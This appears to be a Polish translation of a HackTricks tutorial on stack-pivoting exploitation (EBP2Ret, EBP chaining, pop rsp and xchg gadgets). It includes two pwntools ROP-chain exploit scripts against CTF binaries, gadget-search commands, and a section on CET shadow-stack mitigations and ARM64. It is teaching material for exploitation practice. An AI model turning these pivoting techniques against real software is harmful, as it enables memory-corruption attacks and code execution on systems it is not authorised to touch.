14 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../banners/hacktricks-training.md}}
Podstawowe informacje
Ta technika wykorzystuje możliwość manipulacji wskaźnikiem bazowym (EBP/RBP) do łączenia wykonania wielu funkcji poprzez staranne użycie wskaźnika ramki oraz sekwencji instrukcji leave; ret.
Przypominając, na x86/x86-64 leave jest równoważne z:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
I jako że zapisany EBP/RBP znajduje się na stosie przed zapisanym EIP/RIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
Uwagi
- W 64-bit, zamień EBP→RBP i ESP→RSP. Semantyka jest taka sama.
- Niektórzy kompilatory pomijają wskaźnik ramki (zobacz „EBP może nie być używane”). W takim przypadku
leavemoże nie wystąpić i ta technika nie zadziała.
EBP2Ret
Ta technika jest szczególnie przydatna, gdy możesz zmienić zapisany EBP/RBP, ale nie masz bezpośredniego sposobu na zmianę EIP/RIP. Wykorzystuje zachowanie epilogu funkcji.
Jeśli podczas wykonywania fvuln uda ci się wstrzyknąć fałszywy EBP na stosie, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode/łańcucha ROP (plus 8 bajtów na amd64 / 4 bajty na x86, aby uwzględnić pop), możesz pośrednio kontrolować RIP. Gdy funkcja zwraca, leave ustawia RSP na skonstruowaną lokalizację, a następny pop rbp zmniejsza RSP, skutecznie wskazując na adres przechowywany przez atakującego tam. Następnie ret użyje tego adresu.
Zauważ, że musisz znać 2 adresy: adres, na który ma wskazywać ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą ret będzie konsumować.
Budowa Eksploitu
Najpierw musisz znać adres, w którym możesz zapisać dowolne dane/adresy. RSP będzie wskazywał tutaj i skonsumuje pierwszy ret.
Następnie musisz wybrać adres używany przez ret, który przekroczy wykonanie. Możesz użyć:
- Ważnego ONE_GADGET adresu.
- Adresu
system(), po którym następuje odpowiedni powrót i argumenty (na x86: celret=&system, następnie 4 bajty śmieci, potem&"/bin/sh"). - Adresu gadżetu
jmp esp;(ret2esp), po którym następuje inline shellcode. - Łańcucha ROP umieszczonego w zapisywalnej pamięci.
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być miejsce na pop ebp/rbp z leave (8B na amd64, 4B na x86). Możesz wykorzystać te bajty, aby ustawić drugi fałszywy EBP i utrzymać kontrolę po zwrocie z pierwszego wywołania.
Eksploit Off-By-One
Istnieje wariant używany, gdy możesz zmodyfikować tylko najmniej znaczący bajt zapisanego EBP/RBP. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z ret, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby 1-bajtowe nadpisanie mogło go przekierować. Zwykle niski bajt (offset 0x00) jest zwiększany, aby skoczyć jak najdalej w obrębie pobliskiej strony/wyjustowanego obszaru.
Często używa się również RET sled na stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP wskazuje wewnątrz sled i końcowy łańcuch ROP jest wykonywany.
Łańcuchowanie EBP
Umieszczając kontrolowany adres w zapisanym slocie EBP na stosie i gadżet leave; ret w EIP/RIP, możliwe jest przeniesienie ESP/RSP do adresu kontrolowanego przez atakującego.
Teraz RSP jest kontrolowane, a następna instrukcja to ret. Umieść w kontrolowanej pamięci coś takiego jak:
&(next fake EBP)-> Ładowane przezpop ebp/rbpzleave.&system()-> Wywoływane przezret.&(leave;ret)-> Po zakończeniusystemprzenosi RSP do następnego fałszywego EBP i kontynuuje.&("/bin/sh")-> Argument dlasystem.
W ten sposób możliwe jest łańcuchowanie kilku fałszywych EBP, aby kontrolować przepływ programu.
To jest jak ret2lib, ale bardziej złożone i użyteczne tylko w skrajnych przypadkach.
Ponadto, tutaj masz przykład wyzwania, które wykorzystuje tę technikę z wyciekiem stosu, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
wskazówka dotycząca wyrównania amd64: System V ABI wymaga 16-bajtowego wyrównania stosu w miejscach wywołań. Jeśli twoja łańcuch wywołuje funkcje takie jak
system, dodaj gadżet wyrównujący (np.ret, lubsub rsp, 8 ; ret) przed wywołaniem, aby utrzymać wyrównanie i uniknąć awariimovaps.
EBP może nie być używane
Jak wyjaśniono w tym poście, jeśli binarka jest kompilowana z pewnymi optymalizacjami lub z pominięciem wskaźnika ramki, EBP/RBP nigdy nie kontroluje ESP/RSP. Dlatego każdy exploit działający poprzez kontrolowanie EBP/RBP zakończy się niepowodzeniem, ponieważ prolog/epilog nie przywraca z wskaźnika ramki.
- Nieoptymalizowane / używany wskaźnik ramki:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optymalizowane / wskaźnik ramki pominięty:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Na amd64 często zobaczysz pop rbp ; ret zamiast leave ; ret, ale jeśli wskaźnik ramki jest całkowicie pominięty, to nie ma epilogu opartego na rbp, przez który można by przejść.
Inne sposoby kontrolowania RSP
Gadżet pop rsp
Na tej stronie znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był gadżet pop rsp i był leak ze stosu:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Sprawdź technikę ret2esp tutaj:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
Szybkie znajdowanie gadżetów pivot
Użyj swojego ulubionego narzędzia do znajdowania gadżetów, aby wyszukać klasyczne prymitywy pivot:
leave ; retw funkcjach lub w bibliotekachpop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(lubadd esp, <imm> ; retna x86)
Przykłady:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klasyczny wzór stagingu pivotu
Robustna strategia pivotu używana w wielu CTF/eksploatach:
- Użyj małego początkowego przepełnienia, aby wywołać
read/recvdo dużego zapisywalnego obszaru (np..bss, sterta lub mapowana pamięć RW) i umieść tam pełny łańcuch ROP. - Wróć do gadżetu pivotu (
leave ; ret,pop rsp,xchg rax, rsp ; ret), aby przenieść RSP do tego obszaru. - Kontynuuj z zaplanowanym łańcuchem (np. wyciek libc, wywołanie
mprotect, następniereadshellcode, a potem skok do niego).
Nowoczesne zabezpieczenia, które łamią pivotowanie stosu (CET/Shadow Stack)
Nowoczesne procesory x86 i systemy operacyjne coraz częściej wdrażają CET Shadow Stack (SHSTK). Przy włączonym SHSTK, ret porównuje adres powrotu na normalnym stosie z chronionym sprzętowo stosie cieniowym; jakiekolwiek niezgodności powodują błąd ochrony kontrolnej i kończą proces. Dlatego techniki takie jak EBP2Ret/leave;ret oparte na pivotach będą się zawieszać, gdy tylko pierwszy ret zostanie wykonany z pivotowanego stosu.
- Dla tła i głębszych szczegółów zobacz:
{{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}}
- Szybkie kontrole na Linuxie:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notatki do laboratoriów/CTF:
-
Niektóre nowoczesne dystrybucje włączają SHSTK dla binarnych plików z włączonym CET, gdy dostępne jest wsparcie sprzętowe i glibc. W przypadku kontrolowanego testowania w VM, SHSTK można wyłączyć systemowo za pomocą parametru uruchamiania jądra
nousershstk, lub selektywnie włączyć za pomocą tuningu glibc podczas uruchamiania (patrz odniesienia). Nie wyłączaj zabezpieczeń na celach produkcyjnych. -
Techniki oparte na JOP/COOP lub SROP mogą nadal być wykonalne na niektórych celach, ale SHSTK szczególnie łamie
ret-based pivots. -
Uwaga dotycząca Windows: Windows 10+ udostępnia tryb użytkownika, a Windows 11 dodaje tryb jądra „Ochrona stosu wymuszona sprzętowo” opartą na stosach cieniowych. Procesy zgodne z CET zapobiegają pivotowaniu stosu/ROP przy
ret; deweloperzy muszą się zgodzić za pomocą CETCOMPAT i powiązanych polityk (patrz odniesienie).
ARM64
W ARM64, prolog i epilog funkcji nie przechowują ani nie pobierają rejestru SP na stosie. Co więcej, instrukcja RET nie zwraca do adresu wskazywanego przez SP, ale do adresu wewnątrz x30.
Dlatego, domyślnie, po prostu nadużywając epilogu nie będziesz w stanie kontrolować rejestru SP przez nadpisanie danych wewnątrz stosu. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na kontrolowanie rejestru x30.
- prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP wskazuje na rekord ramki
- epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
[!OSTRZEŻENIE] Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie kontrolować
SP(poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana doSPlub z powodu, że z jakiegoś powoduSPpobiera swój adres ze stosu i mamy przepełnienie) i następnie nadużyć epilogu, aby załadować rejestrx30z kontrolowanegoSPiRETdo niego.
Również na następnej stronie możesz zobaczyć odpowiednik Ret2esp w ARM64:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
Odniesienia
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bity, exploity off by one z łańcuchem rop zaczynającym się od ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bity, brak relro, canary, nx i pie. Program udostępnia leak dla stosu lub pie i WWW dla qword. Najpierw uzyskaj leak stosu i użyj WWW, aby wrócić i uzyskać leak pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów
.fini_array+ wywołując__libc_csu_fini(więcej informacji tutaj). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP. - Dokumentacja jądra Linux: Technologia egzekwowania przepływu kontrolnego (CET) Shadow Stack — szczegóły dotyczące SHSTK, flag
nousershstk,/proc/$PID/statusi włączania za pomocąarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Ochrona stosu wymuszona sprzętowo w trybie jądra (stos cieniowy CET w systemie Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}